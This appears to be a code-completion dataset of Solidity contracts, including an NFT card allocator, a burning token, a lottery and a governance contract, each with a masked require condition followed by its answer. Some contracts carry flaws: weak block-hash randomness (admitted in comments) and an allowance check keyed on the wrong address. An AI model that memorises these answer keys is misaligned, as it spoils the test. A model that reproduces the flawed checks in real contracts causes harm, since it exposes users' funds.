function getMeRandomCardsWithCallback(IERC721Enumerable token, address[] memory vaults, address recipient) external noCallbacks onlyAuth returns (bytes32) {
}
function getMeRandomCardsWithoutCallback(IERC721Enumerable token, address[] memory vaults, address recipient) external noCallbacks onlyAuth returns (bytes32){
}
function getMeRandomCards(IERC721Enumerable token, address[] memory vaults, address recipient, bool withCallback ) internal returns (bytes32) {
require(vaults.length <= 8,"Max 8 draws");
bytes32 requestHash;
if (withCallback) {
requestHash = rnd.requestRandomNumberWithCallback();
} else {
requestHash = rnd.requestRandomNumber();
}
userRequests[recipient].push(requestHash);
requestsFromHashes[requestHash] = request(
token,
vaults,
recipient,
requestHash,
withCallback,
false
);
for (uint j = 0; j < vaults.length; j++) {
address vault = vaults[j];
require(token.isApprovedForAll(vault, address(this)),"Vault does not allow token transfers");
require(<FILL_ME>)
uint256 supply = token.balanceOf(vault);
require(vaultRequests[vault] < supply, "Not enough tokens to fulfill request");
// This assumes that all the cards in this wallet are of the correct category
vaultRequests[vault]++;
emit RandomCardRequested(msg.sender,token,vault,recipient,requestHash);
}
return requestHash;
}
function process(uint256 random, bytes32 _requestId) external {
}
function my_process(uint256 random, bytes32 _requestId) internal {
}
function pickUpMyCards() external {
}
function pickUpCardsFor(address recipient) public noCallbacks {
}
function numberOfRequests(address _owner) external view returns (uint256) {
}
function numberOfReplies(bytes32 _requestId) external view returns (uint256) {
}
// ADMIN ------------------------
function setAuth(address operator, bool enabled) external onlyAuth {
}
// VAULTS ------------------------
function setVaultAccess(address operator, address vault, bool allow) external onlyAuth {
}
function checkAccess(IERC721Enumerable token, address vault) external view returns (bool) {
}
}
| canRequestThisVault[msg.sender][vault],"Caller is not allowed to access this vault" | 38,448 | canRequestThisVault[msg.sender][vault] |
"Not enough tokens to fulfill request" | pragma solidity ^0.7.5;
//import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/IRNG.sol";
struct request {
IERC721Enumerable token;
address[] vaults;
address recipient;
bytes32 requestHash;
bool callback;
bool collected;
}
contract allocator is Ownable {
// see you later allocator....
IRNG public rnd;
string public sixties_reference = "https://www.youtube.com/watch?v=1Hb66FH9AzI";
mapping(bytes32 => request) public requestsFromHashes;
mapping(bytes32 => uint256[]) public repliesFromHashes;
mapping(address => bytes32[]) public userRequests;
mapping (address => mapping(address => bool)) public canRequestThisVault; // can this source access these tokens
mapping (address => bool) public auth;
mapping (address => uint) public vaultRequests;
bool inside;
event ImmediateResolution(address requestor,IERC721Enumerable token,address vault,address recipient,uint256 tokenId);
event RandomCardRequested(address requestor,IERC721Enumerable token,address vault,address recipient, bytes32 requestHash);
event VaultControlChanged(address operator, address vault, bool allow);
event OperatorSet(address operator, bool enabled);
modifier onlyAuth() {
}
modifier noCallbacks() {
}
constructor(IRNG _rnd) {
}
function getMeRandomCardsWithCallback(IERC721Enumerable token, address[] memory vaults, address recipient) external noCallbacks onlyAuth returns (bytes32) {
}
function getMeRandomCardsWithoutCallback(IERC721Enumerable token, address[] memory vaults, address recipient) external noCallbacks onlyAuth returns (bytes32){
}
function getMeRandomCards(IERC721Enumerable token, address[] memory vaults, address recipient, bool withCallback ) internal returns (bytes32) {
require(vaults.length <= 8,"Max 8 draws");
bytes32 requestHash;
if (withCallback) {
requestHash = rnd.requestRandomNumberWithCallback();
} else {
requestHash = rnd.requestRandomNumber();
}
userRequests[recipient].push(requestHash);
requestsFromHashes[requestHash] = request(
token,
vaults,
recipient,
requestHash,
withCallback,
false
);
for (uint j = 0; j < vaults.length; j++) {
address vault = vaults[j];
require(token.isApprovedForAll(vault, address(this)),"Vault does not allow token transfers");
require(canRequestThisVault[msg.sender][vault],"Caller is not allowed to access this vault");
uint256 supply = token.balanceOf(vault);
require(<FILL_ME>)
// This assumes that all the cards in this wallet are of the correct category
vaultRequests[vault]++;
emit RandomCardRequested(msg.sender,token,vault,recipient,requestHash);
}
return requestHash;
}
function process(uint256 random, bytes32 _requestId) external {
}
function my_process(uint256 random, bytes32 _requestId) internal {
}
function pickUpMyCards() external {
}
function pickUpCardsFor(address recipient) public noCallbacks {
}
function numberOfRequests(address _owner) external view returns (uint256) {
}
function numberOfReplies(bytes32 _requestId) external view returns (uint256) {
}
// ADMIN ------------------------
function setAuth(address operator, bool enabled) external onlyAuth {
}
// VAULTS ------------------------
function setVaultAccess(address operator, address vault, bool allow) external onlyAuth {
}
function checkAccess(IERC721Enumerable token, address vault) external view returns (bool) {
}
}
| vaultRequests[vault]<supply,"Not enough tokens to fulfill request" | 38,448 | vaultRequests[vault]<supply |
null | pragma solidity ^0.4.23;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract MILLZTOKEN is ERC20Interface{
uint burning=1000000000;
uint allfrozen;
uint refrate=7000000000;
string public name = "MILLZ TOKEN";
string public symbol = "MLZ";
uint8 public decimals = 9;
address public whitelist;
address public whitelist2;
uint private supply;
address public kcma;
uint dailyminingpercent=1000000000;
mapping(address => uint) public balances;
mapping(address => uint) public frozen;
mapping(address => mapping(address => uint)) allowed;
mapping(address => uint) freezetime;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// ------------------------------------------------------------------------
// Constructor With 1 000 000 supply, All deployed tokens sent to Genesis wallet
// ------------------------------------------------------------------------
constructor() public{
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns(uint){
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns(bool){
}
// ------------------------------------------------------------------------
// Transfer tokens from the 'from' account to the 'to' account
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns(bool){
require(<FILL_ME>)
require(balances[from] >= tokens);
balances[from] -= tokens;
balances[to] += tokens;
if(to!=whitelist&&from!=whitelist&&to!=whitelist2&&from!=whitelist2&&from!=kcma){
uint burn=(tokens*burning)/100000000000;
balances[to] -= burn;
supply -= burn;
}
allowed[from][to] -= tokens;
return true;
}
// ------------------------------------------------------------------------
// Public function to return supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint){
}
function frozenSupply() public view returns (uint){
}
function circulatingSupply() public view returns (uint){
}
function burningrate() public view returns (uint){
}
function earningrate() public view returns (uint){
}
function referralrate() public view returns (uint){
}
function myfrozentokens() public view returns (uint){
}
function myBalance() public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public function to return balance of tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public Function to transfer tokens
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success){
}
// ------------------------------------------------------------------------
// Revert function to NOT accept TRX
// ------------------------------------------------------------------------
function () public payable {
}
function settings(uint _burning, uint _dailyminingpercent, uint _mint, uint _burn, uint _refrate) public {
}
function setwhitelistaddr(address one, address two) public {
}
function freeze(uint tokens, address referral) public returns (bool success){
}
function unfreeze(address referral) public returns (bool success){
}
function checkinterests() public view returns(uint) {
}
function withdraw(address referral) public returns (bool success){
}
}
| allowed[from][to]>=tokens | 38,451 | allowed[from][to]>=tokens |
null | pragma solidity ^0.4.23;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract MILLZTOKEN is ERC20Interface{
uint burning=1000000000;
uint allfrozen;
uint refrate=7000000000;
string public name = "MILLZ TOKEN";
string public symbol = "MLZ";
uint8 public decimals = 9;
address public whitelist;
address public whitelist2;
uint private supply;
address public kcma;
uint dailyminingpercent=1000000000;
mapping(address => uint) public balances;
mapping(address => uint) public frozen;
mapping(address => mapping(address => uint)) allowed;
mapping(address => uint) freezetime;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// ------------------------------------------------------------------------
// Constructor With 1 000 000 supply, All deployed tokens sent to Genesis wallet
// ------------------------------------------------------------------------
constructor() public{
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns(uint){
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns(bool){
}
// ------------------------------------------------------------------------
// Transfer tokens from the 'from' account to the 'to' account
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns(bool){
}
// ------------------------------------------------------------------------
// Public function to return supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint){
}
function frozenSupply() public view returns (uint){
}
function circulatingSupply() public view returns (uint){
}
function burningrate() public view returns (uint){
}
function earningrate() public view returns (uint){
}
function referralrate() public view returns (uint){
}
function myfrozentokens() public view returns (uint){
}
function myBalance() public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public function to return balance of tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public Function to transfer tokens
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success){
require(<FILL_ME>)
balances[to] += tokens;
balances[msg.sender] -= tokens;
if(to!=whitelist&&msg.sender!=whitelist&&to!=whitelist2&&msg.sender!=whitelist2&&msg.sender!=kcma){
uint burn=(tokens*burning)/100000000000;
balances[to] -= burn;
supply -= burn;
}
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Revert function to NOT accept TRX
// ------------------------------------------------------------------------
function () public payable {
}
function settings(uint _burning, uint _dailyminingpercent, uint _mint, uint _burn, uint _refrate) public {
}
function setwhitelistaddr(address one, address two) public {
}
function freeze(uint tokens, address referral) public returns (bool success){
}
function unfreeze(address referral) public returns (bool success){
}
function checkinterests() public view returns(uint) {
}
function withdraw(address referral) public returns (bool success){
}
}
| (balances[msg.sender]>=tokens)&&tokens>0 | 38,451 | (balances[msg.sender]>=tokens)&&tokens>0 |
null | pragma solidity ^0.4.23;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract MILLZTOKEN is ERC20Interface{
uint burning=1000000000;
uint allfrozen;
uint refrate=7000000000;
string public name = "MILLZ TOKEN";
string public symbol = "MLZ";
uint8 public decimals = 9;
address public whitelist;
address public whitelist2;
uint private supply;
address public kcma;
uint dailyminingpercent=1000000000;
mapping(address => uint) public balances;
mapping(address => uint) public frozen;
mapping(address => mapping(address => uint)) allowed;
mapping(address => uint) freezetime;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// ------------------------------------------------------------------------
// Constructor With 1 000 000 supply, All deployed tokens sent to Genesis wallet
// ------------------------------------------------------------------------
constructor() public{
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns(uint){
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns(bool){
}
// ------------------------------------------------------------------------
// Transfer tokens from the 'from' account to the 'to' account
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns(bool){
}
// ------------------------------------------------------------------------
// Public function to return supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint){
}
function frozenSupply() public view returns (uint){
}
function circulatingSupply() public view returns (uint){
}
function burningrate() public view returns (uint){
}
function earningrate() public view returns (uint){
}
function referralrate() public view returns (uint){
}
function myfrozentokens() public view returns (uint){
}
function myBalance() public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public function to return balance of tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public Function to transfer tokens
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success){
}
// ------------------------------------------------------------------------
// Revert function to NOT accept TRX
// ------------------------------------------------------------------------
function () public payable {
}
function settings(uint _burning, uint _dailyminingpercent, uint _mint, uint _burn, uint _refrate) public {
}
function setwhitelistaddr(address one, address two) public {
}
function freeze(uint tokens, address referral) public returns (bool success){
require(<FILL_ME>)
if(frozen[msg.sender]>0)withdraw(referral);
balances[msg.sender]-=tokens;
frozen[msg.sender]+=tokens;
freezetime[msg.sender]=now;
allfrozen+=tokens;
return true;
}
function unfreeze(address referral) public returns (bool success){
}
function checkinterests() public view returns(uint) {
}
function withdraw(address referral) public returns (bool success){
}
}
| balances[msg.sender]>=tokens&&tokens>0 | 38,451 | balances[msg.sender]>=tokens&&tokens>0 |
null | pragma solidity ^0.4.23;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract MILLZTOKEN is ERC20Interface{
uint burning=1000000000;
uint allfrozen;
uint refrate=7000000000;
string public name = "MILLZ TOKEN";
string public symbol = "MLZ";
uint8 public decimals = 9;
address public whitelist;
address public whitelist2;
uint private supply;
address public kcma;
uint dailyminingpercent=1000000000;
mapping(address => uint) public balances;
mapping(address => uint) public frozen;
mapping(address => mapping(address => uint)) allowed;
mapping(address => uint) freezetime;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// ------------------------------------------------------------------------
// Constructor With 1 000 000 supply, All deployed tokens sent to Genesis wallet
// ------------------------------------------------------------------------
constructor() public{
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns(uint){
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns(bool){
}
// ------------------------------------------------------------------------
// Transfer tokens from the 'from' account to the 'to' account
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns(bool){
}
// ------------------------------------------------------------------------
// Public function to return supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint){
}
function frozenSupply() public view returns (uint){
}
function circulatingSupply() public view returns (uint){
}
function burningrate() public view returns (uint){
}
function earningrate() public view returns (uint){
}
function referralrate() public view returns (uint){
}
function myfrozentokens() public view returns (uint){
}
function myBalance() public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public function to return balance of tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public Function to transfer tokens
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success){
}
// ------------------------------------------------------------------------
// Revert function to NOT accept TRX
// ------------------------------------------------------------------------
function () public payable {
}
function settings(uint _burning, uint _dailyminingpercent, uint _mint, uint _burn, uint _refrate) public {
}
function setwhitelistaddr(address one, address two) public {
}
function freeze(uint tokens, address referral) public returns (bool success){
}
function unfreeze(address referral) public returns (bool success){
require(<FILL_ME>)
withdraw(referral);
balances[msg.sender]+=frozen[msg.sender];
allfrozen-=frozen[msg.sender];
frozen[msg.sender]=0;
freezetime[msg.sender]=0;
return true;
}
function checkinterests() public view returns(uint) {
}
function withdraw(address referral) public returns (bool success){
}
}
| frozen[msg.sender]>0 | 38,451 | frozen[msg.sender]>0 |
null | pragma solidity ^0.4.23;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract MILLZTOKEN is ERC20Interface{
uint burning=1000000000;
uint allfrozen;
uint refrate=7000000000;
string public name = "MILLZ TOKEN";
string public symbol = "MLZ";
uint8 public decimals = 9;
address public whitelist;
address public whitelist2;
uint private supply;
address public kcma;
uint dailyminingpercent=1000000000;
mapping(address => uint) public balances;
mapping(address => uint) public frozen;
mapping(address => mapping(address => uint)) allowed;
mapping(address => uint) freezetime;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// ------------------------------------------------------------------------
// Constructor With 1 000 000 supply, All deployed tokens sent to Genesis wallet
// ------------------------------------------------------------------------
constructor() public{
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns(uint){
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns(bool){
}
// ------------------------------------------------------------------------
// Transfer tokens from the 'from' account to the 'to' account
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns(bool){
}
// ------------------------------------------------------------------------
// Public function to return supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint){
}
function frozenSupply() public view returns (uint){
}
function circulatingSupply() public view returns (uint){
}
function burningrate() public view returns (uint){
}
function earningrate() public view returns (uint){
}
function referralrate() public view returns (uint){
}
function myfrozentokens() public view returns (uint){
}
function myBalance() public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public function to return balance of tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance){
}
// ------------------------------------------------------------------------
// Public Function to transfer tokens
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success){
}
// ------------------------------------------------------------------------
// Revert function to NOT accept TRX
// ------------------------------------------------------------------------
function () public payable {
}
function settings(uint _burning, uint _dailyminingpercent, uint _mint, uint _burn, uint _refrate) public {
}
function setwhitelistaddr(address one, address two) public {
}
function freeze(uint tokens, address referral) public returns (bool success){
}
function unfreeze(address referral) public returns (bool success){
}
function checkinterests() public view returns(uint) {
}
function withdraw(address referral) public returns (bool success){
require(<FILL_ME>)
uint tokens=checkinterests();
freezetime[msg.sender]=now;
balances[msg.sender]+=tokens;
if(referral!=address(this)&&referral!=msg.sender&&balances[referral]>0){
balances[referral]+=(tokens*refrate)/100000000000;
supply+=(tokens*refrate)/100000000000;
}
supply+=tokens;
return true;
}
}
| freezetime[msg.sender]>0&&frozen[msg.sender]>0 | 38,451 | freezetime[msg.sender]>0&&frozen[msg.sender]>0 |
"commit: this raindrop has already been commited" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./token/BambooToken.sol";
//
//
// Raindrop is the contract in charge of the lottery system.
// Every 10 days the contract will choose a winner.
// Randomness used here is based on future block hash, requiring two calls to determine the winner. (Commit + Draw).
// We are aware of the security vulnerabilities for this PRNG approach, still is for now the choice for finding the winner, because it is easier for end users.
// The PRNG method here is based on the Breeding Contract from the CriptoKitties DAPP.
// Which was written by Axiom Zen, Dieter Shirley <[email protected]> (https://github.com/dete), Fabiano P. Soriani <[email protected]> (https://github.com/flockonus), Jordan Schalm
contract Raindrop is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info used in case of an emergency refund.
struct UserInfo{
uint256 validLimit; // Timestamp until these tickets are valid
uint256 tickets; // Number of tickets bought by the user
uint256 amountSpent; // Amount spent on tickets
}
// Simple flag to check if contract has been started.
// Owner could stop the contract if there are security issues. In that case all participants will be refunded.
bool public isCloudy;
// The address that will receive a percentage of the lottery.
address public feeTo;
// The BAMBOO TOKEN, currency used to buy tickets and give the price.
BambooToken public bamboo;
// The timestamp of the next lottery draw.
uint256 public nextRain;
// The price of a ticket entry.
uint256 public price;
// Number of winners (and minimum participants).
uint public constant nwinners = 9;
// The winners of the last lottery.
address[] private lastWinners;
// List of participants for current raindrop.
address[] private participants;
// Tracking of amount of tickets per user. Needed in case of an emergency refund.
mapping(address => UserInfo) private ticketHolders;
// Current prize pool amount.
uint256 public prizePool;
// Variables used for randomness.
uint256 internal constant maskLast8Bits = uint256(0xff);
uint256 internal constant maskFirst248Bits = uint256(~0xff);
uint256 private _targetBlock;
bool public commited;
bool public refundPeriod;
event TicketsPurchased(address indexed user, uint256 ntickets);
event NewRain(uint256 nextRain);
event TicketPriceSet(uint256 price);
event Commit(uint256 targetBlock);
constructor(BambooToken _bamboo) {
}
// Purchase tickets for the lottery. The bamboo should be approved beforehand.
function buyTickets(uint _ntickets) public {
}
// Register ticket of current lottery in case of a refund.
function registerTicket(address _addr, uint _ntickets) internal {
}
// Stop the ticket sell and prepare the variables.
function commit() public {
require(isCloudy, "commit: lottery has not started yet");
require(block.timestamp>nextRain , "commit: period of buying tickets still up!");
require(<FILL_ME>)
// If there are not enough participants, add 1 week.
if(participants.length < nwinners){
nextRain = block.timestamp.add(7 days);
emit NewRain(nextRain);
updateTickets();
}
else{
_targetBlock = block.number + 1;
commited = true;
emit Commit(_targetBlock);
}
}
// Choose the winner. This call could be expensive, so the Bamboo team will be calling it every endRain day.
function drawWinners() public {
}
// Get the winners of the last lottery.
function getLastWinners() public view returns(address[] memory) {
}
// Stops the contract and allows users to call for refunds
function emergencyStop() public onlyOwner {
}
// In emergencies, allows users to refund tickets.
function refund() public {
}
// This function is called when there is less than minimum participants. No require needed
function updateTickets() internal {
}
// A simple function that returns the number of tickets from a user.
function getTickets(address _user) external view returns (uint256) {
}
// Allows the owner to start the contract. After this call, the contract doesn't need the owner anymore to work.
function startRain() public onlyOwner {
}
// Sets the address that will receive the commission from the lottery.
function setFeeTo(address _feeTo) external onlyOwner {
}
// Sets the ticket price.
function setTicketPrice(uint256 _amount) external onlyOwner {
}
}
| !commited,"commit: this raindrop has already been commited" | 38,593 | !commited |
"startRain: contract already started" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./token/BambooToken.sol";
//
//
// Raindrop is the contract in charge of the lottery system.
// Every 10 days the contract will choose a winner.
// Randomness used here is based on future block hash, requiring two calls to determine the winner. (Commit + Draw).
// We are aware of the security vulnerabilities for this PRNG approach, still is for now the choice for finding the winner, because it is easier for end users.
// The PRNG method here is based on the Breeding Contract from the CriptoKitties DAPP.
// Which was written by Axiom Zen, Dieter Shirley <[email protected]> (https://github.com/dete), Fabiano P. Soriani <[email protected]> (https://github.com/flockonus), Jordan Schalm
contract Raindrop is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info used in case of an emergency refund.
struct UserInfo{
uint256 validLimit; // Timestamp until these tickets are valid
uint256 tickets; // Number of tickets bought by the user
uint256 amountSpent; // Amount spent on tickets
}
// Simple flag to check if contract has been started.
// Owner could stop the contract if there are security issues. In that case all participants will be refunded.
bool public isCloudy;
// The address that will receive a percentage of the lottery.
address public feeTo;
// The BAMBOO TOKEN, currency used to buy tickets and give the price.
BambooToken public bamboo;
// The timestamp of the next lottery draw.
uint256 public nextRain;
// The price of a ticket entry.
uint256 public price;
// Number of winners (and minimum participants).
uint public constant nwinners = 9;
// The winners of the last lottery.
address[] private lastWinners;
// List of participants for current raindrop.
address[] private participants;
// Tracking of amount of tickets per user. Needed in case of an emergency refund.
mapping(address => UserInfo) private ticketHolders;
// Current prize pool amount.
uint256 public prizePool;
// Variables used for randomness.
uint256 internal constant maskLast8Bits = uint256(0xff);
uint256 internal constant maskFirst248Bits = uint256(~0xff);
uint256 private _targetBlock;
bool public commited;
bool public refundPeriod;
event TicketsPurchased(address indexed user, uint256 ntickets);
event NewRain(uint256 nextRain);
event TicketPriceSet(uint256 price);
event Commit(uint256 targetBlock);
constructor(BambooToken _bamboo) {
}
// Purchase tickets for the lottery. The bamboo should be approved beforehand.
function buyTickets(uint _ntickets) public {
}
// Register ticket of current lottery in case of a refund.
function registerTicket(address _addr, uint _ntickets) internal {
}
// Stop the ticket sell and prepare the variables.
function commit() public {
}
// Choose the winner. This call could be expensive, so the Bamboo team will be calling it every endRain day.
function drawWinners() public {
}
// Get the winners of the last lottery.
function getLastWinners() public view returns(address[] memory) {
}
// Stops the contract and allows users to call for refunds
function emergencyStop() public onlyOwner {
}
// In emergencies, allows users to refund tickets.
function refund() public {
}
// This function is called when there is less than minimum participants. No require needed
function updateTickets() internal {
}
// A simple function that returns the number of tickets from a user.
function getTickets(address _user) external view returns (uint256) {
}
// Allows the owner to start the contract. After this call, the contract doesn't need the owner anymore to work.
function startRain() public onlyOwner {
require(<FILL_ME>)
require(price>0, "startRain: please set ticket price first");
nextRain = block.timestamp.add(10 days);
isCloudy = true;
refundPeriod = false;
emit NewRain(nextRain);
}
// Sets the address that will receive the commission from the lottery.
function setFeeTo(address _feeTo) external onlyOwner {
}
// Sets the ticket price.
function setTicketPrice(uint256 _amount) external onlyOwner {
}
}
| !isCloudy,"startRain: contract already started" | 38,593 | !isCloudy |
"GovernorAlpha::propose: proposer votes below proposal threshold" | pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
// Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol
// Modified to work in the VELO system
// all votes work on underlying _veloBalances[address], not balanceOf(address)
// Original audit: https://blog.openzeppelin.com/compound-alpha-governance-system-audit/
// Overview:
// No Critical
// High:
// Issue:
// Approved proposal may be impossible to queue, cancel or execute
// Fixed with `proposalMaxOperations`
// Issue:
// Queued proposal with repeated actions cannot be executed
// Fixed by explicitly disallow proposals with repeated actions to be queued in the Timelock contract.
//
// Changes made by VELO after audit:
// Formatting, naming, & uint256 instead of uint
// Since VELO supply changes, updated quorum & proposal requirements
// If any uint96, changed to uint256 to match VELO as opposed to comp
import "../lib/SafeMath.sol";
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "VELO Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public view returns (uint256) { } // 4% of VELO
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public view returns (uint256) { } // 1% of VELO
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint256) { } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint256) { } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint256) { } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
VELOInterface public velo;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint256 public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint256 id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint256 eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint256 startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint256 endBlock;
/// @notice Current number of votes in favor of this proposal
uint256 forVotes;
/// @notice Current number of votes in opposition to this proposal
uint256 againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint256 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint256 => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint256) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
